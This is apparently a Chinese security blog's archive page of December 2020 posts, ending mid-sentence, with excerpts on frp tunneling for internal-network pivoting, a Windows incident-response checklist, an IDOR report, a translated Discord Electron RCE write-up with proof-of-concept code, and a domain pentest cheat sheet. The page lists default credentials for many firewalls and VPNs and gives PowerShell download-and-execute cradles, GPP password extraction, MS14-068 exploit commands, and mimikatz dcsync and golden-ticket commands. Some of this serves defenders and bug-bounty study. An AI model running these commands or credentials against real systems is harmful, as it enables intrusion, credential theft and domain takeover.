网站首页 • 发表在 2020年12月 的所有文章
-
最新彩虹代刷仿小储云模板
源码介绍 之前一个老哥分享了这个模板,后来链接不行了取消分享了。 如今特地从新把模板优化了下 使用方法就是下载了直接解压到代刷根目录下的template 网盘下载:https://dufeng.lanzoui.com/iK4WDj31hni 点击链接加入群聊下载:https://jq.qq.com/?_wv=1027&k=FDmmUxxL ...
-
常见web系统默认口令总结
前言 在渗透测试过程中,最常见的情况就是遇到弱口令得到入口从而攻陷整个系统,由于很多系统管理员缺少安全意识,口令往往是系统默认设置的口令。本文总结了常见的系统默认口令以及默认口令在线查询网站。 OA 致远OA 1、system用户(默认密码:system,对应A8的系统管理员、A6的单位管理员) 2、group-admin(默认密码:123456,对应A8集团版的集团管理员) 3、admin1(默认密码:123456,对应A8企业版的单位管理员) 4、audit-admin(默认密码:123456,对应审计管理员) 泛微OA 用户名:sysadmin 密码:1 安全设备 常见安全设备 天融信防火墙 用户名:superman 密码:talent 天融信防火墙 用户名:superman 密码:talent!23 联想网御防火墙 用户名:admin 密码:leadsec@7766、administrator、bane@7766 深信服防火墙 用户名:admin 密码:admin 启明星辰 用户名:admin 密码:bane@7766 用户名:admin 密码:admin@123 juniper 用户名:netscreen 密码:netscreen Cisco 用户名:admin 密码:cisco Huawei 用户名:admin 密码:Admin@123 H3C 用户名:admin 密码:admin 绿盟IPS 用户名: weboper 密码: weboper 网神防火墙GE1 用户名:admin 密码:firewall 深信服VPN:51111端口 密码:delanrecover 华为VPN:账号:root 密码:mduadmin 华为防火墙:admin 密码:Admin@123 EudemonJuniper防火墙:netscreen netscreen 迪普 192.168.0.1 默认的用户名和密码(admin/admin_default) 山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone 安恒的明御防火墙 admin/adminadmin 某堡垒机 shterm/shterm 天融信的vpn test/123456 阿姆瑞特防火墙admin/manager 明御WEB应用防火墙admin/admin 明御安全网关admin/adminadmin 天清汗马admin/veuns.fw audit/veuns.audit 网康日志中心ns25000/ns25000 网络安全审计系统(中科新业)admin/123456 LogBase日志管理综合审计系统admin/safetybase 中新金盾硬件防火墙admin/123 kill防火墙(冠群金辰)admin/sys123 黑盾防火墙admin/admin 绿盟安全产品 IPS入侵防御系统、SASH运维安全管理系统、SAS安全审计系统、DAS数据库审计系统、RSAS远程安全评估系统、WAF WEB应用防护系统、UTS威胁检测系统 sysauditor/sysauditor sysmanager/sysmanager supervisor/supervisor maintainer/maintainer webpolicy/webpolicy sysadmin/sysadmin conadmin/conadmin supervis/supervis webaudit/webaudit sysadmin/sysadmin conadmin/nsfocus weboper/weboper auditor/auditor weboper/weboper nsadmin/nsadmin admin/nsfocus admin/admin shell/shell 默认密码在线查询网站 CIRT.net https://cirt.net/passwords 默认密码列表 https://datarecovery.com/rd/default-passwords/ 工具猫路由器默认密码查询 https://toolmao.com/baiduapp/routerpwd/ 路由器默认密码查询 https://www.cleancss.com/router-default/ Internet上最全面的默认路由器密码列表 https://portforward.com/router-password/ ...
-
内网穿透工具frp
渗透中面对的大部分目标除了暴露在互联网的部分,还有隐藏在内网的大量资产,这部分资产往往无法联通外网,很少暴露在攻击者面前,与此同时安全一般也没有外部资产做的全面 。如果我们从某一外部互联网入口成功进入了内网,就可以利用frp工具搭建起一个隧道,对这些资产进行测试。 项目地址 https://github.com/fatedier/frp 通过release页面下载对应系统的压缩包解压即可 基本使用介绍 服务端配置 1 2 3 4 # frps.ini [common] bind_port = 7000 token = www.baidu.com 使用如下命令开启服务器 1 frps -c frps.ini 客户端配置(socks5隧道) 配置客户端时,要注意common中的ip和端口指向服务器,token与服务器中保持一致,每个socks代理,需要单独起plugin_name,并使用不同的remote_port。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [common] server_addr = x.x.x.x server_port = 7000 tls_enable = true token = www.baidu.com pool_count = 5 protocol = tcp #协议类型 health_check_type = tcp health_check_interval_s = 100 [socks-001] type = tcp remote_port = 6666 #代理的端口 plugin = socks5 #使用的协议 plugin_user = admin plugin_passwd = www.baidu.com use_encryption = true #是否加密 use_compression = true 使用如下命令开启客户端 1 2 3 4 普通模式: frpc -c frpc.ini 后台无回显模式: nohup frpc -c frpc.ini & 此时在proxyfire等代理工具中配置: ip为server_ip port为remote_port 用户为plugin_user 密码为plugin_passwd 即可将客户端网络作为代理出口使用 客户端配置(web转发) 1 2 3 4 5 6 7 8 9 # frpc.ini [common] server_addr = x.x.x.x server_port = 7000 token = www.baidu.com [web] type = http local_port = 8080 custom_domains = www.yourdomain.com 客户端配置(ssh转发) 1 2 3 4 5 6 7 8 9 10 # frpc.ini [common] server_addr = x.x.x.x server_port = 7000 token = www.baidu.com [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 ...
-
攻击溯源的排查范围
前言 在系统被入侵后,需要迅速梳理出黑客的攻击路径,本文总结windows系统攻击溯源过程中必要的排查范围。 排查项目 用户 查看当前登录用户 1 query user 查看系统中所有用户 1 2 3 1. net user 2. 开始-运行-lusrmgr.msc 3.查看C:\Users目录排查是否新建用户目录,如果存在则排查对应用户的download和desktop目录是否有可疑文件 查看是否存在隐藏账号,克隆账号 1 2 开始-运行-regedit 查看HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中是否有异常 启动项 注册表查看启动项 1 2 3 \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 命令行查看启动项 1 wmic startup list full 组策略中查看启动 1 运行-gpedit.msc Recent目录 此目录可以看到程序或文件最后被打开和使用的日期时间。 1 C:\Users\Administrator\Recent windows日志 安全日志 计算机-管理-事件查看器-windows日志-安全(或eventvwr.msc) 根据时间排查安全日志里的登录事件,用户创建等事件情况 着重寻找登录事件(ID4624)且登录类型为3和10等远程登录方式 windows安全日志文件:C:\Windows\System32\winevt\Logs\Security.evtx 查看其大小是否为20M左右,若远远小于20M则有可能被清理过 系统日志 计算机-管理-事件查看器-windows日志-系统 查看恶意进程的运行状态时间等 排查可疑进程 查看可疑网络连接 1 netstat -b -n 根据网络连接寻找pid 1 netstat -ano | findstr xxx 根据pid寻找进程 1 tasklist | findstr xxx 杀死可疑进程 1 taskkill /T /F /PID xxxx 排查计划任务 1 2 3 schtasks /query /fo table /v 运行-taskschd.msc 排查系统服务 1 运行-service.msc 工具使用 PECmd 使用PECmd导出最近活动项目 LastActivityView 使用LastActivityView图形化工具查看最近活动项目 ...
-
某公共平台个人信息查看处存在全局越权修改
01 漏洞标题 某公共平台个人信息查看处存在全局越权修改 02 漏洞类型 越权漏洞 03 漏洞等级 高危 04 漏洞地址 http://xxx.xxx.xx.com/er.app.xxxx/apps.html 05 漏洞详情 0x01 注册家政账户后,登录: http://xxx.xxx.xx.com/er.app.xxxx/apps.html 这个是账户A:ceshi www的个人信息 id=275 这个是账户B:ceshi123 天天的个人信息 id=274 然后在账户A下越权修改B账户的个人信息: 0x02 然后burp下抓包,替换uld参数,将其改成B账户的274 然后到B账户下查看个人信息: 发现B账户中的个人信息被成功越权修改了 这里uld参数是可以遍历的,所以可以直接越权修改所有已注册用户的个人敏感信息: 06 漏洞危害 通过遍历id参数全局越权修改所有已注册用户的个人信息,这样就可以定向的进行诈骗或者是其他的信息贩卖等。 07 建议措施 做好权限的控制,建议添加token。 PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负...
-
渗透测试自用路径字典、爆破字典
字典内容来自互联网开源内容和实战总结 脚本语言类字典:asp.txt/php.txt/jsp.txt/asp.txt,内容包括但不限于罕见途径、后门、罕见系统漏洞地址等 用户名字典:xing.txt、ming.txt来自常用姓名数据,内容为汉字,name.txt,包括罕见零碎用户名和人名内容为字母 密码字典:pass_kill.txt属于小字典,适用于存在waf等状况。pass.txt是罕见密码 参数字典:parameter.txt,常用于接口fuzzing测试 公共字典:sensetive.txt 适用于任何环境的途径字典 点击下方:加入交流群→扫码入群→群文件下载...
-
Discord桌面应用程序RCE
01 背景 几个月前,我在Discord桌面应用程序中发现了一个远程执行代码的问题,并通过其Bug Bounty Program报告了该问题。我发现RCE很有趣,因为它是通过组合多个错误实现的。在本文中,我想分享细节。为什么我选择Discord作为目标我感觉好像是在寻找Electron应用程序的漏洞,因此我一直在寻找一个赏金计划,该计划为Electron应用程序支付了赏金,我找到了Discord。另外,我是Discord用户,只想检查我使用的应用程序是否安全,因此我决定进行调查。 02 我发现的bug 基本上,我发现了以下三个bug,并通过结合使用它们实现了RCE。 缺少上下文隔离 iframe嵌入中的XSS Navigation restriction bypass(CVE-2020-15174) 我将一一解释这些错误。 缺少上下文隔离 在测试Electron应用程序时,首先,我始终会检查BrowserWindow API的选项,该选项用于创建浏览器窗口。通过检查它,我考虑了如何在渲染器上执行任意JavaScript时如何实现RCE。 Discord的Electron应用程序不是一个开源项目,但是Electron的JavaScript代码以asar格式保存在本地,我能够通过提取它来读取它。 在主窗口中,使用以下选项: const mainWindowOptions = { title :D"iscord”, backgroundColor:getBackgroundColor(), width:DEFAULT_WIDTH, height:DEFAULT_HEIGHT, minWidth:MIN_WIDTH, minHeight:MIN_HEIGHT,transparent:false frame:false, resizable:true, show:isVisible, webPreferences: { blinkFeatures:'EnumerateDevices,AudioOutputDevices', nodeIntegration:false, preload:_path2.default.join(__ dirname,'mainScreenPreload.js'), nativeWindowOpen:true, enableRemoteModule:false, spellcheck:true }}; 我们这里应该检查的重要选项尤其是nodeIntegration和contextIsolation。从上面的代码中,我发现在Discord的主窗口中,nodeIntegration选项设置为false,而contextIsolation选项设置为false(使用版本的默认值)。 如果将nodeIntegration设置为true,则网页的JavaScript只需调用即可轻松使用Node.js功能require()。例如,在Windows上执行calc应用程序的方式是: <script> require('child_process')。exec('calc');</ script> 这一次,将nodeIntegration设置为false,因此我无法通过require()直接调用直接使用Node.js功能。 但是,仍然可以访问Node.js功能。该contextIsolation,另一个重要的选项,设置为false。如果要消除在应用程序上进行RCE的可能性,则不应将此选项设置为false。 如果禁用contextIsolation,则网页的JavaScript可能会影响在渲染器上执行Electron内部JavaScript代码和预加载脚本(在下文中,这些JavaScript将被称为网页外部的JavaScript代码)。例如,如果您Array.prototype.join使用网页JavaScript中的另一个函数重写 了JavaScript的一种内置方法,则网页外部的JavaScript代码在调用时也将使用重写的函数join。 此行为很危险,因为Electron允许web页面外部的JavaScript代码使用node.js功能,而不管nodeIntegration选项如何,并且通过干扰web页面中重写的功能来干扰它们,即使nodeIntegration为设置为false。 顺便说一句,以前还不知道这样的把戏。它最早是由Cure53在一次渗透测试中发现的,我也于2016年加入了该测试。之后,我们将其报告给Electron团队,并引入了contextIsolation。 最近,该笔测试报告已发布。如果您有兴趣,可以从以下链接中阅读: Pentest报告 https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view 您还可以阅读我在CureCon活动中使用的幻灯片: 该contextIsolation介绍了网页和JavaScript代码之外的网页,使每个代码的JavaScript执行不影响各间分隔的上下文。这是消除RCE可能性的必要功能,但是这次在Discord中将其禁用。 现在,我发现contextIsolation已禁用,因此我开始寻找一个可以干扰网页外部JavaScript代码来执行任意代码的地方。 通常,当我在Electron的渗透测试中为RCE创建PoC时,我首先尝试通过在渲染器上使用Electron的内部JavaScript代码来实现RCE。这是因为可以在任何Electron应用程序中执行渲染器上Electron的内部JavaScript代码,因此基本上我可以重用相同的代码来实现RCE,这很容易。 在我的幻灯片中,我介绍了可以通过使用Electron在导航时间执行的代码来实现RCE。不仅可以从该代码中获得代码,而且在某些地方也有这样的代码。(我希望将来发布PoC的示例。) 但是,根据使用的Electron的版本或设置的BrowserWindow选项,由于代码已更改或无法正确访问受影响的代码,有时通过Electron的代码进行PoC不能很好地工作。在这次,它没有用,所以我决定将目标更改为预加载脚本。 在检查预加载脚本时,我发现Discord将函数公开了,该函数允许通过调用某些允许的模块到 DiscordNative.nativeModules.requireModule('MODULE-NAME') 网页中。 在这里,我无法使用可直接用于RCE的模块,例如child_process模块,但是我发现了一个代码,在其中可以通过重写JavaScript内置方法并干扰公开模块的执行来实现RCE。 以下是PoC。我能确认的是,计算的应用程序弹出时,我所说的getGPUDriverVersions被称为“模块中定义的函数 discord_utils从devTools而重写RegExp.prototype.test和Array.prototype.join。 RegExp.prototype.test = function(){ return false;}Array.prototype.join = function(){ return“ calc”;}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); 该getGPUDriverVersions函数尝试使用“ execa ”库执行程序,如下所示: module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; } const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; } return result;}; 通常execa会尝试执行在变量中指定的“ nvidia-smi.exe ”,nvidiaSmiPath但是,由于覆盖了RegExp.prototype.test和Array.prototype.join,因此在execa的内部处理中将参数替换为“ calc ” 。 具体来说,通过更改以下两个部分来替换该参数。 https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55 剩下的工作是找到一种在应用程序上执行JavaScript的方法。如果我可以找到它,则会导致RCE。 2.iframe嵌入中的XSS 如上所述,我发现RCE可能来自任意JavaScript执行,因此我试图找到一个XSS漏洞。该应用程序支持自动链接或Markdown功能,但看起来不错。因此,我将注意力转向了iframe嵌入功能。例如,iframe嵌入功能是在发布YouTube URL时自动在聊天中显示视频播放器的功能。 当网址贴出来,不和谐尝试获取OGP该URL的信息,如果存在OGP信息,它会显示网页标题,描述,在聊天的缩略图,相关的视频等。 Discord从OGP中提取视频URL,只有在允许视频URL域并且该URL实际上具有嵌入页面的URL格式的情况下,该URL才会嵌入到iframe中。 我找不到有关哪些服务可以嵌入到iframe中的文档,因此我试图通过检查CSP的frame-src指令来获取提示。当时,使用了以下CSP: Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.comhttps://*.watchanimeattheoffice.com 显然,其中列出了一些允许iframe嵌入的内容(例如YouTube,Twitch,Spotify)。我试图通过将域一一指定到OGP信息中来检查URL是否可以嵌入iframe中,并尝试在嵌入式域中找到XSS。经过一番尝试,我发现可以将 C ++中列出的域之一sketchfab.com嵌入到iframe中,并在嵌入页面上找到XSS。当时我还不了解Sketchfab,但似乎这是一个用户可以在其中发布,购买和出售3D模型的平台。3D模型的脚注中有一个基于DOM的简单XSS。 以下是具有精心制作的OGP的PoC。当我将此URL发布到聊天中时,Sketchfab被嵌入到聊天中的iframe中,然后在iframe上单击几下后,将执行任意JavaScript。 https://l0.cm/discord_rce_og.html<head> <meta charset="utf-8"> <meta property="og:title" content="RCE DEMO"> [...] <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> <meta property="og:video:type" content="text/html"> <meta property="og:video:width" content="1280"> <meta property="og:video:height" content="720"></head> 好的,最后我找到了XSS,但是JavaScript仍在iframe上执行。由于Electron不会将“网页外的JavaScript代码”加载到iframe中,因此即使我覆盖iframe上的JavaScript内置方法,也不会干扰Node.js的关键部分。要实现RCE,我们需要退出iframe,并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口,或将顶部窗口导航到iframe的另一个URL。 我检查了相关代码,并在主要流程的代码中找到了通过使用“ new-window ”和“ will-navigate ”事件来限制导航的代码: mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { e.preventDefault(); if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); } else { _electron.shell.openExternal(windowURL); }});[...]mainWindow.webContents.on('will-navigate', (evt, url) => { if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { evt.preventDefault(); }}); 我认为这段代码可以正确地阻止用户打开新窗口或浏览顶部窗口。但是,我注意到了意外的行为。 3.Navigation restriction bypass(CVE-2020-15174) 我以为代码还可以,但是我尝试检查iframe的顶部导航是否被阻止。然后,令人惊讶的是,由于某种原因,导航没有被阻塞。我希望在导航发生之前,“ will-navigate ”事件会捕获该尝试preventDefault(),但会拒绝该尝试,但事实并非如此。 为了测试这种行为,我创建了一个小型的Electron应用程序。而且我发现由于某种原因,从iframe开始的顶部导航未发出“ will-navigate ”事件。确切地说,如果顶部的起点和iframe的起点在同一起点,则发出该事件,但如果起点在不同的起点,则不发出该事件。我认为这种行为没有正当的理由,因此我认为这是Electron的错误,因此决定稍后再向Electron团队报告。 借助此错误,我可以绕过导航限制。我应该做的最后一件事就是使用iframe的XSS导航到包含RCE代码的页面,例如 top.location="//l0.cm/discord_calc.html"。 这样,通过结合三个错误,我能够实现RCE, 03 结果 通过Discord的Bug赏金计划报告了这些问题。首先,Discord小组停用了Sketchfab嵌入,并采取了一种变通方法,通过将沙箱属性添加到iframe来阻止从iframe导航。一段时间后,启用了 contextIsolation。现在,即使我可以在应用程序上执行任意JavaScript,RCE也不会通过覆盖的JavaScript内置方法发生。我因这次发现而获得了5,000美元的奖励。 Sketchfab上的XSS是通过Sketchfab的Bug赏金计划报告的,并由Sketchfab开发人员迅速修复。我因这次发现而获得了300美元的奖励。 向电子安全团队报告了“ will-navigate ”事件中的错误是Electron的错误,并已修复为以下漏洞(CVE-2020-15174)。 ...
-
内网渗透技术汇总
信息收集 网上各种前期信息收集的文章各种net view之类的太多了,一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用nltest命令查看。最后就是各种net view查看域控是哪台主机。 nltest /DCLIST:pentest.com 这里利用PowerTools中的PowerView信息收集其实很多功能都是net命令这里只是以PowerShell方式实现 Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP" 更详细参考: 域渗透信息收集PowerToolshttps://github.com/cheetz/PowerTools Get-NetDomain - gets the name of the current user's domainGet-NetForest - gets the forest associated with the current user's domainGet-NetForestDomains - gets all domains for the current forestGet-NetDomainControllers - gets the domain controllers for the current computer's domainGet-NetCurrentUser - gets the current [domain\]usernameGet-NetUser - returns all user objects, or the user specified (wildcard specifiable)Get-NetUserSPNs - gets all user ServicePrincipalNamesGet-NetOUs - gets data for domain organization unitsGet-NetGUIDOUs - finds domain OUs linked to a specific GUIDInvoke-NetUserAdd - adds a local or domain userGet-NetGroups - gets a list of all current groups in the domainGet-NetGroup - gets data for each user in a specified domain groupGet-NetLocalGroups - gets a list of localgroups on a remote host or hostsGet-NetLocalGroup - gets the members of a localgroup on a remote host or hostsGet-NetLocalServices - gets a list of running services/paths on a remote host or hostsInvoke-NetGroupUserAdd - adds a user to a specified local or domain groupGet-NetComputers - gets a list of all current servers in the domainGet-NetFileServers - get a list of file servers used by current domain usersGet-NetShare - gets share information for a specified serverGet-NetLoggedon - gets users actively logged onto a specified serverGet-NetSessions - gets active sessions on a specified serverGet-NetFileSessions - returned combined Get-NetSessions and Get-NetFilesGet-NetConnections - gets active connections to a specific server resource (share)Get-NetFiles - gets open files on a serverGet-NetProcesses - gets the remote processes and owners on a remote server 获取域方法 SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。使用Group Policy Preferences配置组策略批量修改用户本地管理员密码 开始->管理工具->组策略管理->在这个域中创建GPO设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组 更新Administrator密码: 域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据: groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。映射驱动(Drives.xml)数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml) 由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限 \192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml 经过AES-256位加密 cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA" 可以使用AES私钥解密GPP密码 微软在MSDN上发布了AES加密密钥(共享密钥) https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx 使用PowerShell脚本解密 https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 寻找SYSVOL里的密码和攻击GPP(组策略偏好)https://www.freebuf.com/vuls/92016.html Windows Server 2008 R2之四管理Sysvol文件夹http://blog.51cto.com/ycrsjxy/203095 SYSVOL中查找密码并利用组策略首选项https://adsecurity.org/?p=2288 利用SYSVOL还原组策略中保存的密https://xianzhi.aliyun.com/forum/topic/1653/?accounttraceid=c4c9a768-4a9f-42f8-b1e1-f8707574eeb9 防: 在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。设置Everyone访问权限不在组策略中使用域控密码设置共享文件夹SYSVOL的访问权限删除现有的GPP里包含密码的xml文件。 Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与,才能完成一次事务处理。 Kerberos 是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(principal)。参与的中央服务器被称为密钥分发中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。 更多阅读: Kerberos协议的滥用https://www.freebuf.com/articles/system/45631.html Kerberos的工作原理http://adsecurity.org/?p=227 最根本的问题在于权限属性证书可以被伪造,权限属性证书中存储帐号用户名、ID、组成员等信息,掌握域用户一些基本信息就可以获取域管理员权限 攻击者可以有效地重写有效的Kerberos TGT身份验证票据,使其成为域管理员(和企业管理员) https://github.com/bidord/pykek/archive/master.ziphttps://github.com/gentilkiwi/mimikatz/releases/ apt-get install krb5-user apt-get install rdate MS14-068过程: 请求没有PAC的Kerberos TGT认证票据作为标准用户,DC回复TGT生成一个伪造的PAC,没有密钥,所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。作为TGS服务票据请求的一部分,使用伪造的PAC作为授权数据发送无PAC的TGT到DC。DC似乎被这个混淆了,所以它放弃了用户发送的不含PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到它自己的授权数据中,并将这个TGT发送给用户。这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。 whoami /user python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 产生缓存的票据,在当前Kali下生成之后再放到域用户机器中 利用mimikatz工具将得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书: mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit klist 查看 net use k: \pentest.comc$ dir k: 相关资料: Kerberos工具包PyKEKhttp://adsecurity.org/?p=676 深入解读MS14-068漏洞http://www.freebuf.com/vuls/56081.html Kerberos安全漏洞http://adsecurity.org/?p=541 防: 安装检查KB3011780的安装 SPN扫描 Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包 SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。它由服务类、主机名和端口组成。在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户(如 NetworkService 或 LocalSystem)或用户帐户下为服务器注册 SPN。对于内置帐户,SPN 将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。 SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,spn查询是kerberos票据行为一部分,因此比较难检测SPN扫描。 powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers" 扫描SQL Server脚本:https://github.com/nullbind/Powershellery/tree/master/Stable-ish/MSSQL Import-Module .Get-SQLServerAccess.psm1PS C:Get-SqlServer-Escalate-CheckAccess [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomainmyuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- 通过LDAP从ADS获取SQL Server的列表,然后试图用当前域用户登陆每一个SQL Server。这次将输出到CSV文件中。 PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...[*] ----------------------------------------------------------------------[-] Failed - server1.mydomain.com is not responding to pings[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00[*] ---------------------------------------------------------------------- 弱口令猜解 Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@# 寻找敏感数据 Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1" 更多参考: 非扫描式的SQL Server发现https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning 相关资料: SPN扫描https://adsecurity.org/?p=1508 扫描SQLServer脚本https://github.com/PyroTek3/PowerShell-AD-Recon Kerberos黄金门票https://adsecurity.org/?p=1640 域服务账号破解实践http://bobao.360.cn/learning/detail/3564.html kerberos认证原理http://blog.csdn.net/wulantian/article/details/42418231 深刻理解windows安全认证机制ntlm & Kerberoshttps://klionsec.github.io/2016/08/10/ntlm-kerberos/ Kerberos身份验证流程 密码转换为NTLM哈希值,时间戳使用散列加密,并作为身份验证票据(TGT)请求(AS-REQ)中的身份验证器发送给KDC。域控制器(KDC)检查用户信息(登录限制,组成员身份等)并创建票证授予票证(TGT)。TGT被加密,签名并交付给用户(AS-REP)。只有域中的Kerberos服务(KRBTGT)才能打开并读取TGT数据。用户在申请票证授予服务(TGS)票证(TGS-REQ)时向TG提交TGT。DC打开TGT并验证PAC校验和 – 如果DC可以打开票证和校验和签出,则TGT =有效。TGT中的数据被有效地复制来创建TGS票据。使用目标服务帐户的NTLM密码散列对TGS进行加密并发送给用户(TGS-REP)。用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。 其实可以说是一种后门而不是什么漏洞。黄金票据是伪造TGT,可以获取任何Kerberos服务权限,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。 Kerberos黄金票证是有效的TGT Kerberos票证,因为它是由域Kerberos帐户(KRBTGT)加密/签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的事实证明它是有效的 利用条件: 1.普通域用户 2.krbtgt ntlm hash 3.域SID 在域上抓取hash lsadump::dcsync /domain:pentest.com /user:krbtgt kerberos::purgekerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribikerberos::ptt administrator.kiribikerberos::tgtnet use k: \pentest.comc$ Kerberos银票务 攻击者如何使用Kerberos银票来利用系统https://adsecurity.org/?p=2011 https://www.feiworks.com/wy/drops/域渗透——Pass%20The%20Ticket.pdf 黄金票据和白银票据的一些区别: Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限Silver Ticket: 伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket 由krbtgt的hash加密Silver Ticket 由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket在使用的过程需要同域控通信Silver 